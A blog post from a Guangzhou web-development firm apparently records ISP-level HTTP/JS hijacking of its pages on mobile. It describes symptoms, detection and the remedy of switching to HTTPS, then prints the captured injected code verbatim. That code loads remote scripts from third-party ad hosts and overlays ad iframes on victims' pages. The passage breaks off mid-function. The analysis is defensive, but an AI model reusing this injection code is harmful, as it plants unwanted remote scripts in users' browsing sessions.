联系我们
cms新闻网站系统、政府cms定制开发

广州网站建设公司-阅速公司

报纸新媒体网站内容发布一体化解决方案联系电话
/
http://www.ysneo.com/
广州网站建设公司
您当前位置:首页>广州网站建设

广州网站建设

广州运营商网站js劫持一些记录

发布时间:2018/5/17 9:24:59  作者:Admin  阅读:259  

关于运营商网络劫持 :

现象:用户手机访问网站会有信息提示广告,或以红包按钮提示或以消息图片提示(非本网站广告)。同时捕获时页面js脚本被注入以下代码:

var _atn_obj_ = new Object;

_atn_obj_.oldurl = 'http://shop.xiyaohe.com/scripts/public.js?cHVzaA=1526455614';

_atn_obj_.unified_url = 'http://uiq.mlnbike.com:2525/ad_unified_access?SP=ABys7My4PPzc/HzcrJz8nOzL/OyczRmJuDtt/OztHP0dLOg82Dy8vPzs/Pg86DzsrNycvKysnOy4POys3Jy8rKyc7Lz8jIzs3HyYPNx8rH';

window.setTimeout(function(){var a=document.createElement("script");a.src=_atn_obj_.oldurl;document.getElementsByTagName("head")[0].appendChild(a);},0);

window.setTimeout(function(){var a=document.createElement("script");a.src=_atn_obj_.unified_url;document.getElementsByTagName("head")[0].appendChild(a);},0);

或者:http://58.87.102.91:8181/2482m.js

注册人资料:http://uiq.mlnbike.com:2525

关键词:关于运营商网络劫持 网络劫持,网页js被伪装替换 广东电信运营商HTTP劫持 Header劫持、js劫持 网页内容篡改 流量劫持

用户端劫持的判断方法:只需观察浏览器呈现的网页前端代码,查看是否引用了不当的js,或者其它敏感内容。每次访问网页从服务端获取到的网页代码都是相同的,只是控制了网页代码在浏览器中呈现的效果(比如是否进行跳转等)。

解决办法:投拆或者网站采用 https加密模式

代码分析:

ad_unified_access 文件内容:

var _pushshowjs_ = new Object;

_pushshowjs_.expires = 10;

_pushshowjs_.param = '101928|80|80|10|1|1|';

_pushshowjs_.url = 'http://mpbql.mlnbike.com:2525/adauto/ads/1521701115367/index.htm?SP=ABzs/PzoPKzszLg5iTkJ2ek6Ccl56RkZqTg86Dy8vPzs/Pg8/Nz8fNysnPyc7Mv87JzNGYm4POzszRycrRzc/H0c7Iz4POg87PzcfPyoPOz87GzceDxsbGxoOMl5CP0YeWhp6Ql5rRnJCSg87KzcnLysrOzsuDzYPPg82Dx8bIycfMx8/Og87KzcnLysrOzsvPyczPzcvJg7bfzs7Rz9HSzoPOg86Dzs3M';

_pushshowjs_.adtype = '1';

_pushshowjs_.feedurl = 'http://uiq.mlnbike.com:2525/feedback';

_pushshowjs_.eparam = '?SP=ABzs/PzoPKzszLg5iTkJ2ek6Ccl56RkZqTg86Dy8vPzs/Pg8/Nz8fNysnPyc7Mv87JzNGYm4POzszRycrRzc/H0c7Iz4POg87PzcfPyoPOz87GzceDxsbGxoOMl5CP0YeWhp6Ql5rRnJCSg87KzcnLysrOzsuDzYPPg82Dx8bIycfMx8/Og87KzcnLysrOzsvPyczPzcvJg7bfzs7Rz9HSzoPOg86Dzs3M';

_pushshowjs_.realinfo = '';

_pushshowjs_.closeispush = '0';

_pushshowjs_.isAutoClose = '1';

_pushshowjs_.closeTimes = '0';

_pushshowjs_.israndom = '0';

_pushshowjs_.randomval = '20.0';

_pushshowjs_.forwordurl = 'http://engine.sifumi.cn/index/activity?appKey=2PDTFgutrDMro9q9by3EuB2u3S6c&adslotId=5583';

_pushshowjs_.clickcode = '1271680033';

window.setTimeout(function() {

var a = document.createElement("script");

a.type = 'text/javascript';

a.src = 'http://qul.mlnbike.com:2525/pushjs/embed_mobile_V1.js';

a.src += a.src.indexOf('?') == -1 ? '?' : '&';

a.src += 't=' + (new Date().getTime());

if (_pushshowjs_.adtype != '4') {

document.getElementsByTagName("head")[0].appendChild(a);

} else {

document.getElementsByTagName("body")[0].appendChild(a);

 

a = document.createElement("script");

a.type = 'text/javascript';

a.src = 'http://qul.mlnbike.com:2525/pushjs/embed_mobile_V1.js';

document.getElementsByTagName("body")[0].appendChild(a);

}

}, 0);

embed_mobile_V1.js 内容:

 

var _oP78_000=objview78_000(_pushshowjs_.url);

var _czc = _czc || [];

function objview78_000(url){

var obj=new Object;

obj.expires = _pushshowjs_.expires ? _pushshowjs_.expires : 10;

obj.param = _pushshowjs_.param;

obj.iWidth = 320;

obj.iHeight = 240;

obj.centerWid = 0;

obj.centerHeig = 0;

obj.iPosition = 1;

obj.iBorder = 1;

obj.iShowType = 1;

obj.bHadShow = false;

obj.sInterval = 5;

obj.bNeedShow = false;

obj.bShowing = false;

obj.hHandle; // the handle of scroll timer;

obj.hCheckAD; // the handle of adchecker timer;

obj.arralreadysend = false; //

obj.iPid = 0;

obj.base_url = _pushshowjs_.baseurl;

obj.url = url;

obj.elmHeight = 0;

obj.policyParam = '';

obj.closeispush = _pushshowjs_.closeispush;

obj.feedbackurl = _pushshowjs_.feedurl;

obj.israndom = _pushshowjs_.israndom;

obj.randomval = _pushshowjs_.randomval;

obj.forwordurl = _pushshowjs_.forwordurl;

obj.clickcode = _pushshowjs_.clickcode;

obj.isAutoClose = _pushshowjs_.isAutoClose != null && typeof(_pushshowjs_.isAutoClose) != "undefined" && !isNaN(_pushshowjs_.isAutoClose) ? _pushshowjs_.isAutoClose : 1;

obj.closeTimes = _pushshowjs_.closeTimes != null && typeof(_pushshowjs_.closeTimes) != "undefined" && !isNaN(_pushshowjs_.closeTimes) ? _pushshowjs_.closeTimes : 0;

 

obj.GetViewHtml = function(){

var str = '';

if(obj.iPosition == 1 || obj.iPosition == 11){

str = str + '<div id="_embed_v3_dc" style="overflow:hidden;margin:0;display:none;width:100%; position:relative;">';

}else if(obj.iPosition == 10){

str = str + '<div id="_embed_v3_dc" style="margin:0; float:left; z-index:9998; position:fixed;display:none;width:100%;">';

}else{

str = str + '<div id="_embed_v3_dc" style="overflow:hidden; margin:0; float:left; z-index:9998; position:fixed;display:none;width:100%;">';

}

if(obj.iPosition == 10){

str = str + ' <div id="_embed_v3_hd_r" style="overflow:hidden; z-index:2147483647; width:100%; height:20px; position:relative; " onclick="clickCloseFeedback('+obj.closeispush+')"><img src="http://qul.mlnbike.com:2525/pushjs/x.png" style=" height:19px; width:19px; float:right;" />';

str = str + ' <div id="_embed_v3_hd">';

str = str + ' <div id="_embed_v3_hd_l"></div>';

str = str + ' <div id="_embed_v3_hd_c"></div>';

str = str + ' </div></div>';

}else if(obj.iPosition == 1){

str = str + ' <div id="_embed_v3_hd">';

str = str + ' <div id="_embed_v3_hd_l"></div>';

str = str + ' <div id="_embed_v3_hd_c"></div>';

str = str + ' <div id="_embed_v3_hd_r" style="z-index:2147483647; position:relative; width:100%; height:100%; float:right;" onclick="clickCloseFeedback('+obj.closeispush+')"><img src="http://qul.mlnbike.com:2525/pushjs/x.png" style=" height:20px; width:20px; float:right;" /></div>';

str = str + ' </div>';

}else if (obj.iPosition == 11){

str = str + ' <div id="_embed_v3_hd">';

str = str + ' <div id="_embed_v3_hd_l"></div>';

str = str + ' <div id="_embed_v3_hd_c"></div>';

str = str + ' <div id="_embed_v3_hd_r" style="z-index:2147483647; position:relative; width:100%; height:100%; float:right;" ><img onclick="clickCloseFeedback('+obj.closeispush+')" src="http://qul.mlnbike.com:2525/pushjs/tm.png" style=" height:12px; width:12px; float:right;" /></div>';

str = str + ' </div>';

}else if (obj.iPosition == 13){

str = str + ' <div id="_embed_v3_hd_r" style="overflow:hidden; z-index:2147483647; width:100%; height:20px; position:absolute;left:0;top:0; " ><img onclick="clickCloseFeedback('+obj.closeispush+')" src="http://qul.mlnbike.com:2525/pushjs/tm.png" style=" height:12px; width:12px; float:right;" />';

str = str + ' <div id="_embed_v3_hd">';

str = str + ' <div id="_embed_v3_hd_l"></div>';

str = str + ' <div id="_embed_v3_hd_c"></div>';

str = str + ' </div></div>';

}else{

str = str + ' <div id="_embed_v3_hd_r" style="overflow:hidden; z-index:2147483647; width:100%; height:20px; position:relative; " onclick="clickCloseFeedback('+obj.closeispush+')"><img src="http://qul.mlnbike.com:2525/pushjs/normalclose.png" style=" height:20px; width:50px; float:right;" />';

str = str + ' <div id="_embed_v3_hd">';

str = str + ' <div id="_embed_v3_hd_l"></div>';

str = str + ' <div id="_embed_v3_hd_c"></div>';

str = str + ' </div></div>';

}

str = str + ' <div id="_embed_v3_main" style="z-index:2147483646;height:100%; top:20px;"><iframe id="_embed_v3_frmc" style="border:0px;width:100%;height:100%;" scrolling="no" name="_embed_v3_frmc" src="'+obj.url+'"></iframe></div>';

str = str + ' <div id="_embed_v3_ft"></div>';

str = str + '</div>';

if(obj.iPosition == 21){

str = '<div id="content" style="height: 12vw;background: linear-gradient(to right, #94e0d6, #97b6ec);border-radius: 2.5rem 0 0 2.5rem;position: fixed;right: 0;bottom: 20vw;width: 80vw;z-index:1000000;">';

 

str = str + '<div id="contentleft" onclick="left()" style="float: left;height: 100%;border-radius: 2.5rem 0 0 2.5rem;line-height: 2.5rem;width: 10%;"> ';

 

str = str + '<span style="font-size: 6vw;display: inline-block;height:100%;width: 10%;line-height:12vw; color: #fff; margin-left: 3vw;font-weight: 700;vertical-align: middle;position:absolute;left:0;top:0;">To</span></div>';

 

str =str+'<div id="contentcenter" style="float: left;width: 50vw;height: 12vw;margin-left:10px ;position: relative;"><img src="http://qul.mlnbike.com:2525/pushjs/point.png" style="height: 8vw;position: absolute;top: 2vw; left: -1.8vw"/>';

 

str = str + '<span class="spancenter" style="height: 12vw;width: 51vw;float: left;margin-left: 4.3vw;"><iframe src="'+obj.url+'" style="height:100%;width:100%;border: transparent;border: 0;"></iframe> </span> ';

 

str = str + '<span class="ad" style="position: absolute; left: 113%;bottom: 2vw; border: #fff solid 1px;border-radius: 5px;color: #fff;font-size: 2.2vw;padding: 2px;white-space:nowrap">广告</span> </div>';

 

str = str +'<div id="contentright" onclick="right()" style="float: right;height: 100%;width: 6vw;font-size: 0.24rem;vertical-align: middle;line-height: 100%;text-align: center;"> <img src="http://qul.mlnbike.com:2525/pushjs/arrow.png" style="height: 6vw;width:100%;margin-top: 3vw;" /> </div>';

 

str = str +'<style type="text/css">#close:after{ background-color: rgba(89, 141, 224, 0.5); content: ""; left: 50%; margin-left: -0.4vw; height: 2.3vw; position: absolute; bottom: 0; width:0.7vw; z-index: 1;}</style>';

 

str = str + '<div id="close" onclick="closemodel('+obj.closeispush+')" style="position: absolute;top: -7vw;right: 14px;height: 7vw;width: 5vw;cursor: pointer;"> <img src="http://qul.mlnbike.com:2525/pushjs/mbclose.png" style="width: 100%;"/></div></div>';

}

//alert(str);

return str;

};

 

obj.autoClose = function(){

//alert(obj.isAutoClose + "|" + obj.closeTimes);

if(obj.isAutoClose == 0){

var cTimes = obj.closeTimes * 1000;

//document.getElementById('_embed_v3_dc').style.display='none';

//document.getElementById('_embed_v3_frmc').src='';

setTimeout("document.getElementById('_embed_v3_dc').style.display='none';document.getElementById('_embed_v3_frmc').src='';",cTimes);

if(obj.closeispush == 1){

var URL = _pushshowjs_.feedurl;

var path = _pushshowjs_.eparam;

path=decodeURIComponent(path);

path=path.replace(' ','+');

 

if (path != "") {

path = URL + path + "&stype=5";

} else {

path = URL;

}

var xhr;

if (window.XMLHttpRequest) {

xhr = new XMLHttpRequest();

} else {

xhr = new ActiveXObject("Microsoft.XMLHTTP");

}

xhr.open("get", path, true);

xhr.onreadystatechange = function(data) {

if (xhr.readyState == 4) {

if (xhr.status == 200) {

/*if(stype==0){

//实名推送获取内容替换占位符

replaceContent(xhr.responseText);

}else if(stype==3){

closePage();

}*/

}

}

}

 

xhr.send();

}

}

};

 

obj.getParams = function() {

var paramarray = obj.param.split("|");

obj.SetCookie(obj.policyParam,obj.policyParam, { expires: obj.expires, path: '/' });

try {

//obj.iWidth = parseInt(paramarray[0], 10);

obj.iWidth = document.body.clientWidth;

obj.iPosition = parseInt(paramarray[3], 10);

if(obj.iPosition == 1 || obj.iPosition == 11){

obj.iHeight = 60;

}else if (obj.iPosition == 13){

obj.iHeight = 60;

}else {

obj.iHeight = 80;

}

if(obj.iPosition==5){

//obj.iHeight = 240;

//obj.iWidth=220;

obj.iWidth = parseInt(paramarray[2], 10);

obj.iHeight = parseInt(paramarray[1], 10);

obj.centerWid = parseInt(paramarray[2], 10);

obj.centerHeig = parseInt(paramarray[1], 10);

}else if(obj.iPosition==9){

//obj.iHeight = 42;

//obj.iWidth=283;

obj.iWidth = parseInt(paramarray[2], 10);

obj.iHeight = parseInt(paramarray[1], 10);

}else if(obj.iPosition==10){

obj.iWidth = parseInt(paramarray[2], 10);

obj.iHeight = parseInt(paramarray[1], 10);

obj.centerWid = parseInt(paramarray[2], 10);

obj.centerHeig = parseInt(paramarray[1], 10);

}

//obj.iBorder = parseInt(paramarray[4], 10);

obj.iBorder = 1;

obj.iShowType = parseInt(paramarray[5], 10);

 

} catch (e) {

obj.iWidth = 320;

obj.iHeight = 240;

obj.iPosition = 1;

obj.iBorder = 1;

obj.iShowType = 1;

 

}

//alert(obj.iPosition);

//var useragentstr = navigator.userAgent;

//useragentstr = useragentstr.toLowerCase()

 

//alert(useragentstr);

};

obj.getPolicyParam = function(){

return obj.param;

};

obj.getStyle = function(el, style) {

if (!document.getElementById) return;

var value = el.style[obj.toCamelCase(style)];

if (!value) if (document.defaultView) value = document.defaultView.getComputedStyle(el, "").getPropertyValue(style);

else if (el.currentStyle) value = el.currentStyle[obj.toCamelCase(style)];

return value;

};

obj.setStyle = function(objId, style, value) {

document.getElementById(objId).style[style] = value;

};

obj.toCamelCase = function(sInput) {

var oStringList = sInput.split('-');

if (oStringList.length == 1) return oStringList[0];

var ret = sInput.indexOf("-") == 0 ? oStringList[0].charAt(0).toUpperCase() + oStringList[0].substring(1) : oStringList[0];

for (var i = 1,len = oStringList.length; i < len; i++) {

var s = oStringList[i];

ret += s.charAt(0).toUpperCase() + s.substring(1);

}

return ret;

};

obj.add_css = function(str_css) {

var style;

if (document.createStyleSheet) {

style = document.createStyleSheet();

style.cssText = str_css;

} else {

style = document.createElement("style");

style.type = "text/css";

style.textContent = str_css;

document.getElementsByTagName("head")[0].appendChild(style);

}

};

obj.DrawAdDiv = function(iStyle) {

//iStyle: 1:no border; 2:qq style;3:sina style

//no border

if (iStyle == 1) {

obj.setStyle('_embed_v3_frmc', "height", obj.iHeight + "px");

obj.setStyle('_embed_v3_frmc', "width", obj.iWidth + "px");

obj.setStyle('_embed_v3_dc', "height", obj.iHeight + "px");

//obj.setStyle('_embed_v3_dc', "width", obj.iWidth + "px");

//obj.setStyle('_embed_v3_dc', "position", "fixed");

//obj.setStyle('_embed_v3_hd_l', "text-indent", "-9999px");

//document.getElementById("_embed_v3_hd_c").innerHTML = "&nbsp;";

//document.getElementById("_embed_v3_btnc").style.cssText = "width:20px; height:14px; float:right; background-color:Silver; font-size:12px; cursor:pointer; text-align:center; position:relative; z-index:9999; margin:-14px 5px 0 0;";

document.getElementById("_embed_v3_main").style.cssText = "position:absolute; top:20; left:0; z-index:9997;overflow:hidden;";

obj.setStyle('_embed_v3_main', "width", obj.iWidth + "px");

}

//2:qq style;

if (iStyle == 2) {

obj.setStyle('_embed_v3_frmc', "height", obj.iHeight + "px");

obj.setStyle('_embed_v3_frmc', "width", obj.iWidth + "px");

obj.setStyle('_embed_v3_dc', "height", obj.iHeight + 24 + 5 + "px");

//obj.setStyle('_embed_v3_dc', "width", obj.iWidth + 3 + 3 + "px");

obj.setStyle('_embed_v3_dc', "position", "fixed");

document.getElementById("_embed_v3_hd").style.cssText = 'height:24px; overflow:hidden;';

obj.setStyle('_embed_v3_hd', "width", obj.iWidth + 3 + 3 + "px");

document.getElementById("_embed_v3_hd_l").style.cssText = 'width:3px; height:24px;background:url("'+obj.base_url+'images/qqstyle_01.gif") no-repeat; text-indent:-9999px; float:left;';

document.getElementById("_embed_v3_hd_c").style.cssText = 'height:24px; background:url("'+obj.base_url+'images/qqstyle_02.gif") repeat-x; float:left;';

obj.setStyle('_embed_v3_hd_c', "width", obj.iWidth + 3 + 3 - 3 - 20 + "px");

document.getElementById("_embed_v3_hd_r").style.cssText = 'width:20px; height:24px; float:left;';

document.getElementById("_embed_v3_btnc").style.cssText = 'width:20px;height:24px;float:right; background:url("'+obj.base_url+'images/qqstyle_06.gif") no-repeat; position:relative; z-index:9999; text-indent:-9999px;cursor:pointer;';

document.getElementById("_embed_v3_main").style.cssText = 'background:#bddefd; text-align:center; padding:0 3px;';

obj.setStyle('_embed_v3_main', "width", obj.iWidth + "px");

document.getElementById("_embed_v3_ft").style.cssText = 'height:5px; background:#bddefd;';

obj.setStyle('_embed_v3_ft', "width", obj.iWidth + 3 + 3 + "px");

}

//3:sina style

if (iStyle == 3) {

obj.setStyle('_embed_v3_frmc', "height", obj.iHeight + "px");

obj.setStyle('_embed_v3_frmc', "width", obj.iWidth + "px");

obj.setStyle('_embed_v3_dc', "height", obj.iHeight + 27 + 5 + "px");

//obj.setStyle('_embed_v3_dc', "width", obj.iWidth + 3 + 3 + "px");

obj.setStyle('_embed_v3_dc', "position", "fixed");

document.getElementById("_embed_v3_hd").style.cssText = 'height:27px; overflow:hidden;';

obj.setStyle('_embed_v3_hd', "width", obj.iWidth + 3 + 3 + "px");

document.getElementById("_embed_v3_hd_l").style.cssText = 'width:3px; height:27px;background:url("'+obj.base_url+'images/sinastyle_01.gif") no-repeat; text-indent:-9999px; float:left;';

document.getElementById("_embed_v3_hd_c").style.cssText = 'height:27px; background:url("'+obj.base_url+'images/sinastyle_02.gif") repeat-x; float:left;';

obj.setStyle('_embed_v3_hd_c', "width", obj.iWidth + 3 + 3 - 3 - 65 + "px");

document.getElementById("_embed_v3_hd_r").style.cssText ='width:65px; height:27px; float:left;cursor:pointer;';

document.getElementById("_embed_v3_btnc").style.cssText ='width:65px;height:27px; float:right; background:url("'+obj.base_url+'images/sinastyle_06.gif") no-repeat; position:relative; z-index:9999; text-indent:-9999px;';

document.getElementById("_embed_v3_main").style.cssText = 'background:#bddefd; text-align:center; padding:0 3px;';

obj.setStyle('_embed_v3_main', "width", obj.iWidth + "px");

document.getElementById("_embed_v3_ft").style.cssText ='height:5px; background:#bddefd;';

obj.setStyle('_embed_v3_ft', "width", obj.iWidth + 3 + 3 + "px");

}

};

obj.ShowIt = function(elmHeight) {

if (obj.bHadShow || obj.bShowing) return;

obj.bShowing = true;

obj.setStyle('_embed_v3_dc', 'display', '');

if (obj.iShowType == 1) {

obj.setStyle('_embed_v3_dc', 'height', elmHeight + "px");

obj.bHadShow = true;

obj.bShowing = false;

} else {

obj.elmHeight = elmHeight;

obj.hHandle = setInterval(obj.scrollit, obj.sInterval);

}

};

 

obj.scrollit = function() {

var currh = parseInt(obj.getStyle(document.getElementById("_embed_v3_dc"), "height"));

currh++;

obj.setStyle('_embed_v3_dc', 'height', currh + "px");

if (currh >= obj.iHeight) {

obj.bHadShow = true;

obj.bShowing = false;

clearInterval(obj.hHandle);

clearInterval(obj.hCheckAD);

}

};

obj.Get_scroll_70e=(document.compatMode=="CSS1Compat")?document.documentElement:document.body;

obj.PositionIE = function(){

if (/msie (\d+\.\d)/i.test(navigator.userAgent)) {

var q=parseFloat(RegExp.$1);

return (q>=7&&document.compatMode!="BackCompat");

}else return true;

};

obj.xcy_move = function(){

if(obj.Get_scroll_70e==null){

obj.Get_scroll_70e=(document.compatMode=="CSS1Compat")?document.documentElement:document.body;

}

var dcWidth = parseInt(obj.getStyle(document.getElementById('_embed_v3_dc'), "width"));

var dcHeight = parseInt(obj.getStyle(document.getElementById('_embed_v3_dc'), "height"));

//alert("top="+obj.Get_scroll_70e.scrollTop + obj.Get_scroll_70e.clientHeight - dcHeight);

//alert("left="+obj.Get_scroll_70e.scrollLeft + obj.Get_scroll_70e.clientWidth - dcWidth);

obj.setStyle('_embed_v3_dc', "left", parseInt(obj.Get_scroll_70e.scrollLeft + obj.Get_scroll_70e.clientWidth - dcWidth) + "px");

obj.setStyle('_embed_v3_dc', "top", (obj.Get_scroll_70e.scrollTop + obj.Get_scroll_70e.clientHeight - dcHeight) + "px");

};

obj.locatead = function(showad){

var posLeft = 0;

var posTop = 0;

//FixDomain();

var docWidth = obj.Get_scroll_70e.scrollLeft + obj.Get_scroll_70e.clientWidth;

var docHeight = obj.Get_scroll_70e.scrollTop + obj.Get_scroll_70e.clientHeight;

var dcWidth = parseInt(obj.getStyle(document.getElementById('_embed_v3_dc'), "width"));

var dcHeight = parseInt(obj.getStyle(document.getElementById('_embed_v3_dc'), "height"));

var w = parseInt(obj.getStyle(document.getElementById('_embed_v3_main'), "width"));

var h = parseInt(obj.getStyle(document.getElementById('_embed_v3_main'), "height"));

//alert(obj.iPosition+"-"+docWidth+"|"+docHeight+"*"+dcWidth+"|"+dcHeight);

//alert(docHeight+"|"+dcHeight);

switch (obj.iPosition) {

case 1:

obj.setStyle('_embed_v3_dc', "top", "0px");

//obj.setStyle('_embed_v3_dc', "top", "0px");

//obj.setStyle('_embed_v3_dc', "left", "0px");

//obj.setSytle('_embed_v3_dc', "width", obj.iWidth+"px");

break;

case 2:

obj.setStyle('_embed_v3_dc', "left", "0px");

obj.setStyle('_embed_v3_dc', "top", parseInt((docHeight - dcHeight) / 2) + "px");

break;

case 3:

//obj.setStyle('_embed_v3_dc', "left", "0px");

//var useragentstr = navigator.userAgent;

//alert(useragentstr);

//useragentstr = useragentstr.toLowerCase();

//alert(useragentstr.indexOf("iphone"));

//alert(useragentstr.indexOf("ucbrowser"));

//if(useragentstr.indexOf("iphone") > -1 ){

 

//if(useragentstr.indexOf("ucbrowser") > -1 || useragentstr.indexOf("sogoumobilebrowser") > -1 ){

 

// obj.setStyle('_embed_v3_dc', "top", (docHeight - dcHeight-44) + "px");

 

//}else{

//// obj.setStyle('_embed_v3_dc', "top", (docHeight - dcHeight) + "px");

//}

 

//}else{

// obj.setStyle('_embed_v3_dc', "top", (docHeight - dcHeight) + "px");

//}

 

 

obj.setStyle('_embed_v3_dc', "bottom", "0px");

break;

case 4:

obj.setStyle('_embed_v3_dc', "top", "0px");

obj.setStyle('_embed_v3_dc', "left", "0px");

break;

case 5:

//if(docWidth > docHeight){

//obj.setStyle('_embed_v3_dc', "left", "30%");

//}else{

//obj.setStyle('_embed_v3_dc', "left", "8%");

//}

obj.setStyle('_embed_v3_dc', "left", parseInt((docWidth - obj.centerWid) / 2) + "px");

//obj.setStyle('_embed_v3_dc', "left", parseInt((docWidth - dcWidth))/2-50 + "px");

//obj.setStyle('_embed_v3_dc', "top", parseInt((docHeight - dcHeight) / 2) + "px");

//obj.setStyle('_embed_v3_dc', "bottom", parseInt((docHeight+dcHeight))/4-95+"px");

//obj.setStyle('_embed_v3_dc', "top", "25%");

obj.setStyle('_embed_v3_dc', "top", parseInt((docHeight - obj.centerHeig))/2 +"px");

//obj.setStyle('_embed_v3_frmc',"height","100%");

//obj.setStyle('_embed_v3_frmc',"width","85%");

obj.setStyle('_embed_v3_frmc',"height", obj.centerHeig + "px");

obj.setStyle('_embed_v3_frmc',"width", obj.centerWid + "px");

obj.setStyle('_embed_v3_hd_r', "width", obj.centerWid + "px");

break;

case 6:

obj.setStyle('_embed_v3_dc', "left", "0px");

obj.setStyle('_embed_v3_dc', "top", (docHeight - dcHeight) + "px");

break;

case 7:

//obj.setStyle('_embed_v3_dc', "top", "0px");

obj.setStyle('_embed_v3_dc', "bottom", "0px");

break;

case 8:

//obj.setStyle('_embed_v3_dc', "left", "0px");

//obj.setStyle('_embed_v3_dc', "top", (docHeight - dcHeight) + "px");

obj.setStyle('_embed_v3_dc', "bottom", "0px");

break;

case 9:

//obj.setStyle('_embed_v3_dc', "left", (docWidth - dcWidth) + "px");

//obj.setStyle('_embed_v3_dc', "bottom", (docHeight - dcHeight) + "px");

obj.setStyle('_embed_v3_dc', "bottom", "0px");

break;

case 10:

obj.setStyle('_embed_v3_dc', "left", parseInt((docWidth - obj.centerWid)) + "px");

//obj.setStyle('_embed_v3_dc', "left", parseInt((docWidth - dcWidth))/2-50 + "px");

//obj.setStyle('_embed_v3_dc', "top", parseInt((docHeight - dcHeight) / 2) + "px");

//obj.setStyle('_embed_v3_dc', "bottom", parseInt((docHeight+dcHeight))/4-95+"px");

//obj.setStyle('_embed_v3_dc', "top", "25%");

obj.setStyle('_embed_v3_dc', "top", "60%");

//obj.setStyle('_embed_v3_frmc',"height","100%");

//obj.setStyle('_embed_v3_frmc',"width","85%");

obj.setStyle('_embed_v3_frmc',"height", obj.centerHeig + "px");

obj.setStyle('_embed_v3_frmc',"width", obj.centerWid + "px");

obj.setStyle('_embed_v3_hd_r', "width", obj.centerWid + "px");

break;

case 11:

obj.setStyle('_embed_v3_dc', "top", "0px");

break;

case 13:

obj.setStyle('_embed_v3_dc', "bottom", "0px");

break;

}

//CheckScreenSize();

//if (obj.bHadShow == false && showad && !obj.bShowing) {

// obj.setStyle('_embed_v3_dc', "height", "0px");

// if (parseInt(getStyle($('dc'), 'top')) + dcHeight == docHeight) {

// setStyle('dc', "top", "");

// setStyle('dc', "bottom", "0px");

// }

// ShowIt(dcHeight);

//}

 

if (obj.bHadShow == false && showad && !obj.bShowing) {

//var dcHeight = parseInt(obj.getStyle(document.getElementById('_embed_v3_dc'), "height"));

obj.setStyle('_embed_v3_dc', "height", "0px");

obj.ShowIt(dcHeight);

obj.hCheckAD=window.setInterval(obj.resize,100);

//obj.iframecontent();

}

};

obj.resize = function(){

obj.iWidth = document.body.clientWidth;

obj.DrawAdDiv(obj.iBorder);

obj.locatead(false);

};

obj.iframecontent = function(){

try{

var aa =document.getElementById("_embed_v3_frmc").contentWindow.document.body.innerHTML;

}catch(e){}

};

obj.view = function(){

if(obj.adcheck()) return;

obj.getParams();

//document.writeln(obj.GetViewHtml());

var a=document.createElement("div");

a.innerHTML= obj.GetViewHtml();

if(_pushshowjs_.israndom == 0){

var newScript = document.createElement('script');

newScript.type = 'text/javascript';

newScript.src = "https://s22.cnzz.com/z_stat.php?id="+_oP78_000.clickcode+"&web_id="+_oP78_000.clickcode;

a.appendChild(newScript);

}

//document.body.appendChild(a);

if(obj.iPosition == 1 || obj.iPosition == 11){

document.getElementsByTagName("body")[0].insertBefore(a,document.getElementsByTagName("body")[0].firstChild);

}else{

document.body.appendChild(a);

}

obj.setStyle("_embed_v3_dc", "display", "none");

 

obj.bNeedShow = true;

if (!obj.bShowing && !obj.bHadShow){

obj.dispad();

}

obj.autoClose();

};

obj.adcheck = function() {

if(location.href.indexOf("gd.189.cn")>=0) return true;

var isIf = false;

try{

if(self != top){

isIf = true;

}}catch(e){

//如果是在和父页面不同域

isIf = true;

}

return isIf;

};

obj.dispad = function() {

if (obj.bShowing == false && obj.bNeedShow) {

obj.DrawAdDiv(obj.iBorder);

obj.locatead(true);

}

};

obj.trim = function(text){

return (text || "").replace(/^\s+|\s+$/g, "");

};

obj.GetCookie = function(name){

var cookieValue = null;

if (document.cookie && document.cookie != '') {

var cookies = document.cookie.split(';');

for (var i = 0; i < cookies.length; i++) {

var cookie = obj.trim(cookies[i]);

if (cookie.substring(0, name.length + 1) == (name + '=')) {

cookieValue = decodeURIComponent(cookie.substring(name.length + 1));

break;

}

}

}

return cookieValue;

};

obj.SetCookie = function(name, value, options) {

options = options || {};

if (value === null) {

value = '';

options.expires = -1;

} var expires = '';

if (options.expires && (typeof options.expires == 'number' || options.expires.toUTCString)) {

var date;

if (typeof options.expires == 'number') {

date = new Date();

date.setTime(date.getTime() + (options.expires * 1000));

} else {

date = options.expires;

}

expires = '; expires=' + date.toUTCString();

}

var path = options.path ? '; path=' + (options.path) : '';

var domain = options.domain ? '; domain=' + (options.domain) : '';

var secure = options.secure ? '; secure' : '';

document.cookie = [name, '=', encodeURIComponent(value), expires, path, domain, secure].join('');

};

 

obj.removePosition = function (){

if(obj.iPosition == 1 || obj.iPosition == 11){

var classElements=[],allElements=document.getElementsByTagName('*');

for(var i=0;i<allElements.length;i++){

if(allElements[i].className == "header"){

allElements[i].style.cssText = "position:absolute;";

}

if(allElements[i].className == "tm-mobile-header"){

allElements[i].style.cssText = "position:absolute;";

}

if(allElements[i].className == "tag-box"){

allElements[i].style.cssText = "position:absolute;";

}

if(allElements[i].className == "inp-search"){

allElements[i].style.cssText = "position:absolute;";

}

if(allElements[i].className == "km-tab g-tab"){

allElements[i].style.cssText = "position:inherit;";

}

if(allElements[i].className == "sch_new sch_new_20140508"){

allElements[i].style.cssText = "position:fixed;";

}

//美食天下 http://m.meishichina.com/

if(allElements[i].className == "topbar"){

allElements[i].style.cssText = "position:inherit;";

}

//优酷 http://www.youku.com/

if(allElements[i].className == "yk-header-container"){

allElements[i].style.cssText = "position:inherit;";

}

//搜狐 http://m.sohu.com/

if(allElements[i].className == "h_min_w "){

allElements[i].style.cssText = "position:inherit;";

}

//搜狐 http://m.sohu.com/

if(allElements[i].className == "h_min_w"){

allElements[i].style.cssText = "position:inherit;";

}//360新闻http://m.news.haosou.com/

if(allElements[i].className == "view current"){

allElements[i].style.cssText = "position:inherit;";

}//360新闻http://m.news.haosou.com/

if(allElements[i].className == "p-article view curr-article current"){

allElements[i].style.cssText = "position:inherit;";

}

//携程http://m.ctrip.com/

if(allElements[i].className == "search-index js_search_index"){

allElements[i].style.cssText = "position:inherit;";

}//糗百网http://m.qiushibaike.com/

//if(allElements[i].className == "animated fast clearfix headroom"){

// alert(111111);

//allElements[i].style.cssText = "position:inherit;";

//}

 

}

}

};

 

return obj;

}

//获取对象样式规则信息,IE下使用currentStyle

function getStyle(obj,style){

return obj.currentStyle?obj.currentStyle[style]:getComputedStyle(obj,false)[style];

}

//原生js动画类似jquery--animate

function animate(obj,styleJson,callback){

clearInterval(obj.timer);

// 开启定时器

obj.timer=setInterval(function(){

var flag=true;//假设所有动作都已完成成立。

for(var styleName in styleJson){

//1.取当前属性值

var iMov=0;

// 透明度是小数,所以得单独处理

